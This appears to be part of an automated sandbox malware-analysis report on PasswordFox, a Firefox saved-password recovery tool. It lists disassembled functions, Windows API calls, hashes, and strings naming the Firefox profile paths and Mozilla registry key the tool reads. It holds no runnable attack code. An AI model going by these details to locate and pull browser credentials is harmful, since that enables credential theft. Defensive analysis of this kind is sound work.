Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memsetwcscat$wcscpy$Closewcslen
String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
API String ID: 3470772675-1174173950
Opcode ID: ef051dff077b42edc146f8091b62d72c49959b948a275e392804958870f54f5a
Instruction ID: e450e6f8c22090b410cdc717a0411dff650a31d8cce9db24ae5aa5b386eac940
Opcode Fuzzy Hash: ef051dff077b42edc146f8091b62d72c49959b948a275e392804958870f54f5a
Instruction Fuzzy Hash: DA0144B194031C76DB10BB668C85EDB762CDF54758F0145BEB508B7283DA7C8E848AAD

Function 0040A8E8 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040A914

Part of subcall function 00404B1B: _snwprintf.MSVCRT ref: 00404B60
Part of subcall function 00404B1B: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 00404B70

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0040A93D
memset.MSVCRT ref: 0040A947
GetPrivateProfileStringW.KERNEL32(?,?,0040C3EC,?,00002000,?), ref: 0040A969

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 6a0ac252d82ab6e45e5f06d70d27481721c8405b463265ea49a1192a337e88bf
Instruction ID: 0805f05f1c84009111371c571d81c39805b3661e97e83790b4cfa5a877832717
Opcode Fuzzy Hash: 6a0ac252d82ab6e45e5f06d70d27481721c8405b463265ea49a1192a337e88bf
Instruction Fuzzy Hash: E7115AB2500119AEDF116FA4DC42E9A7B69EF44710F10016AFF05B20A1E635AA648BAD

Function 0040ABFC Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040AC09
SizeofResource.KERNEL32(?,00000000), ref: 0040AC1A
LoadResource.KERNEL32(?,00000000), ref: 0040AC2A
LockResource.KERNEL32(00000000), ref: 0040AC35

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 8cb0c87eb665ef4ca7cdfd21abe61c397a1d3518edcc97c4763dfbde86b55a16
Instruction ID: 2c60b31dc6434aee2e4e2b3c13c974902f5cecfa849892c0ca8faa8051fc444b
Opcode Fuzzy Hash: 8cb0c87eb665ef4ca7cdfd21abe61c397a1d3518edcc97c4763dfbde86b55a16
Instruction Fuzzy Hash: 5C01C432700315EBDB155FA5DE89D5F7F5AFB853903098036F809E6261D731C851CAC8

Function 0040B812 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 0040B81C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040B82C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040B83C
??3@YAXPAX@Z.MSVCRT(?), ref: 0040B84C

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 2f632474f803a20cbab500e3e12bf64a4bbfccd9dcfb8c6282e2b96356ee3b1f
Instruction ID: db67ca1e18e80713947d2ac5a7d392e0cf7686e501c2c923b77a16c228a3621d
Opcode Fuzzy Hash: 2f632474f803a20cbab500e3e12bf64a4bbfccd9dcfb8c6282e2b96356ee3b1f
Instruction Fuzzy Hash: F6E0026270420566DA14BB7AA849A5623DCEA54768394C43EB804F62E2DF7DD98086AC

Function 004022E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetParent.USER32 ref: 00402343
MessageBoxW.USER32(00000000,?,00000000,PasswordFox), ref: 0040234A

Strings

PasswordFox, xrefs: 0040233B

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: MessageParent
String ID: PasswordFox
API String ID: 4240588283-3917124896
Opcode ID: 4ffc64a8673cc388c6c70b302c6cca5c2f78c4675569d5824536564ce1fff22d
Instruction ID: ed9e1bc081cff98ac065e45372b1d485f6bee123588fbeea4320e2687ef7ea35
Opcode Fuzzy Hash: 4ffc64a8673cc388c6c70b302c6cca5c2f78c4675569d5824536564ce1fff22d
Instruction Fuzzy Hash: 7BF04472440110EBD7299B64DD8DFD73358EB08301F15057BF945E21E1DBBC9944CB58

Function 0040534F Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,004053FF,00402460,PasswordFox), ref: 00405389
??2@YAPAXI@Z.MSVCRT(00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053A7
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053C5
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053E3

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: e0a6fb643f5fe0e917eddc980f966602776b1e2d87de5879e0afff261d85d5fd
Instruction ID: e8b0150b500b9fb94e561af83bb343bd3fc12ffd0ff5e4b3ea63fe4e96505450
Opcode Fuzzy Hash: e0a6fb643f5fe0e917eddc980f966602776b1e2d87de5879e0afff261d85d5fd
Instruction Fuzzy Hash: B6010CB13412006FE759DB38ED4BBAE7694E748354F04813EA606991F5EBFE45808B48

Function 0040492B Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,0040980B,00000000,?,00000000,0040F058,?), ref: 00404943
GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 00404957
CloseHandle.KERNELBASE(00000000), ref: 00404960

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 099d0484998da8a14ec28789afba2c9d87259674d141d9485c3d01d374ce5e64
Instruction ID: 298ecb40693a020ddc78f41bc06a78c83cbfe612b60dd1d70e3574b6aeb36a4e
Opcode Fuzzy Hash: 099d0484998da8a14ec28789afba2c9d87259674d141d9485c3d01d374ce5e64
Instruction Fuzzy Hash: EFE04F32201250F7E2311B76AD4CF4B2E7DEBC6B61F150638BA55F21E086304905C664

Function 004044DF Relevance: 3.8, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004044FB
memcpy.MSVCRT(00000000,00000000,?,00000000,?,004025D1,00000002,?,?,?,00401C46,?), ref: 00404513
free.MSVCRT ref: 0040451C

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: freemallocmemcpy
String ID:
API String ID: 3056473165-0
Opcode ID: 4eaa0b47f31daf78e94fe8ac6f8a088c94e0d5bc5a45c4b24aaaf9302ad6429d
Instruction ID: 434e3b53aff2dcbe856e5c5cb84ae4e4ed9f6ab48ee54a21ca6fa3f7400b0f26
Opcode Fuzzy Hash: 4eaa0b47f31daf78e94fe8ac6f8a088c94e0d5bc5a45c4b24aaaf9302ad6429d
Instruction Fuzzy Hash: 05F0E9B26042226FC708EA75BD8141BB39DEF84324B10483FF604E72D2D7389C40CBA8

Function 00407725 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 0040652D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040654F
Part of subcall function 0040652D: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 004065E4

Part of subcall function 0040422F: CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,004075C9,?), ref: 00404241

CloseHandle.KERNELBASE(00000000), ref: 00407841
SetCursor.USER32 ref: 0040784D

Part of subcall function 00404AFC: WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,00402151,?,?,00000000,?), ref: 00404B13

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: File$??2@??3@CloseCreateCursorHandleWrite
String ID:
API String ID: 2042149353-0
Opcode ID: 5bcfebfb05ffab3cff6fb40d36c219062c518226d88367abd10300752479f63f
Instruction ID: ce0150e2a1934f20a231fe5269dbc5c614e60fe21b72d12459088bc7724df02a
Opcode Fuzzy Hash: 5bcfebfb05ffab3cff6fb40d36c219062c518226d88367abd10300752479f63f
Instruction Fuzzy Hash: 4241A771B04200ABCB24AF69C889F5F77B5AF48751F11443FF50AA72D1C778AD80CA5A

Function 00409482 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 004094CF

Strings

/stext, xrefs: 004094CA

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _wcsicmp
String ID: /stext
API String ID: 2081463915-3817206916
Opcode ID: 9f8f5a68f2815c0efa00b550acdf10f450f8974f42bb8ab270a844e242b1339c
Instruction ID: 9c5cbb8595cb5f37f0e4e444d7c9b1f6e090ba970fdb21cd24ce0f6d0ac42327
Opcode Fuzzy Hash: 9f8f5a68f2815c0efa00b550acdf10f450f8974f42bb8ab270a844e242b1339c
Instruction Fuzzy Hash: 05218675A041059FDB00EF5AC881A9D77BAEF84314F1441BBEC09EB783DA39AD018B54

Function 00416951 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,00001000,00000004), ref: 004169BE

Memory Dump Source

Source File: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d66d290de48dbb0968744cb0dd13d2a634fd2ae4904781f4cb3653dca6444dc6
Instruction ID: ecdd3619ebd3b9a4ffef280da4697ca3d29965bf2604d1a900d4b347dfa1a2d7
Opcode Fuzzy Hash: d66d290de48dbb0968744cb0dd13d2a634fd2ae4904781f4cb3653dca6444dc6
Instruction Fuzzy Hash: ED1136B11586056BE7218720CC40FFAB7ECEF82359F14041AE59ECB281C778AC82866A

Function 004097C9 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00409857: memset.MSVCRT ref: 0040989F
Part of subcall function 00409857: wcslen.MSVCRT ref: 004098B6
Part of subcall function 00409857: wcslen.MSVCRT ref: 004098BE
Part of subcall function 00409857: wcslen.MSVCRT ref: 00409917
Part of subcall function 00409857: wcslen.MSVCRT ref: 00409925

Part of subcall function 0040492B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,0040980B,00000000,?,00000000,0040F058,?), ref: 00404943
Part of subcall function 0040492B: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 00404957
Part of subcall function 0040492B: CloseHandle.KERNELBASE(00000000), ref: 00404960

CompareFileTime.KERNEL32(?,?,00000000,0040F058,?), ref: 00409815

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcslen$File$Time$CloseCompareCreateHandlememset
String ID:
API String ID: 4204647287-0
Opcode ID: 2fd969ae10e9a7647b8264f90c700334f4a79a9bfa9685d4675750983c512357
Instruction ID: a5ef1dc86d43929149c1d8df48362da23ece48953bb29e8e2ac8fb51ce5dde06
Opcode Fuzzy Hash: 2fd969ae10e9a7647b8264f90c700334f4a79a9bfa9685d4675750983c512357
Instruction Fuzzy Hash: 2111E8B2C00218ABCB01EBA5D9815DEBBB9EF45714F20447BEA11F7281D638AF45CB95

Function 0040A98E Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 0040A9B5

Part of subcall function 0040A89B: memset.MSVCRT ref: 0040A8BA
Part of subcall function 0040A89B: _itow.MSVCRT ref: 0040A8D1
Part of subcall function 0040A89B: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 0040A8E0

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: 8cf7ce25f3698bb1f637df75d03540d81c4b233c423e50ce57ac638467d3589c
Instruction ID: 59b0c09317d45d83cb723593fab99e5bd5744c4d9303db972c3971971dc29f30
Opcode Fuzzy Hash: 8cf7ce25f3698bb1f637df75d03540d81c4b233c423e50ce57ac638467d3589c
Instruction Fuzzy Hash: 34E0B632000209EFDF126F90EC05AAA7F66FF14314F54856AFD5824161D3369570EB99

Function 00404AFC Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,00402151,?,?,00000000,?), ref: 00404B13

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f7cb4ad073e445e46a170c7d98e7b835c3a4e02ef0d256329d2e1587878cb5e6
Instruction ID: 44ca31bac7325476affb0a5a8a4e30de110c9927306568b9f6297b12081be1b6
Opcode Fuzzy Hash: f7cb4ad073e445e46a170c7d98e7b835c3a4e02ef0d256329d2e1587878cb5e6
Instruction Fuzzy Hash: 09D0923511020DFBDF018F80DD06B997BA9EB04359F104054BA04A5060C7B59A10AB54

Function 0040422F Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,004075C9,?), ref: 00404241

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d0ba949ad9b50b68ba1127200d82895acdf54e83d8d154afa9823777d0696abf
Instruction ID: 44d22337fcbd2adc3911c2ead07481942fced3b3900b9a14d9a0842e99fa8d5a
Opcode Fuzzy Hash: d0ba949ad9b50b68ba1127200d82895acdf54e83d8d154afa9823777d0696abf
Instruction Fuzzy Hash: 54C092B0250200BEFE204B20AD4AF37265DD780700F5085207E41E40E0C2A14C488524

Function 00405225 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,00405139), ref: 0040522F

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 62dbfa7c63e1811810b610f1cb886171c100aa036050e138f87c146d71ab2c7b
Instruction ID: 7258cb6c5c2de48843064bd62adc787f952d3a41dfeaa26490d3244ca0220340
Opcode Fuzzy Hash: 62dbfa7c63e1811810b610f1cb886171c100aa036050e138f87c146d71ab2c7b
Instruction Fuzzy Hash: A0C048301129028AD2285B38989942A76A0AE6A3313A54BACA0F6A24E0E73884868A04

Function 0040AC82 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

EnumResourceNamesW.KERNELBASE(?,?,Function_0000ABFC,00000000), ref: 0040AC91

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 93bfcdd1ce8c9a990b01fb4c0ca2e1f5febb187ec46c244e53b2309ff527f6c5
Instruction ID: bfa329344ff549f3976d3829da3fa5de4afdcd747072533c3578ed83298644ba
Opcode Fuzzy Hash: 93bfcdd1ce8c9a990b01fb4c0ca2e1f5febb187ec46c244e53b2309ff527f6c5
Instruction Fuzzy Hash: 84C09B31594341D7D7019F609C09F1B7EA5BB55701F144D397151B40E0C7719064E605

Function 00404530 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,004034E5,00000000), ref: 00404534

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8f8408d43e69368b308a6704c01702357b80f84243bd79ab395a7453a749a152
Instruction ID: 7ae30d917d45c6e88a235bfbc1a14835386c6acafc0d64a60d04f82b75f210de
Opcode Fuzzy Hash: 8f8408d43e69368b308a6704c01702357b80f84243bd79ab395a7453a749a152
Instruction Fuzzy Hash: 25B012752100108BCB0807349D9504D76509F45631730473CB033D40F0D730CC60BE01

Function 0040A9BF Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,0040358D,80000002,SOFTWARE\Mozilla,?), ref: 0040A9D2

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

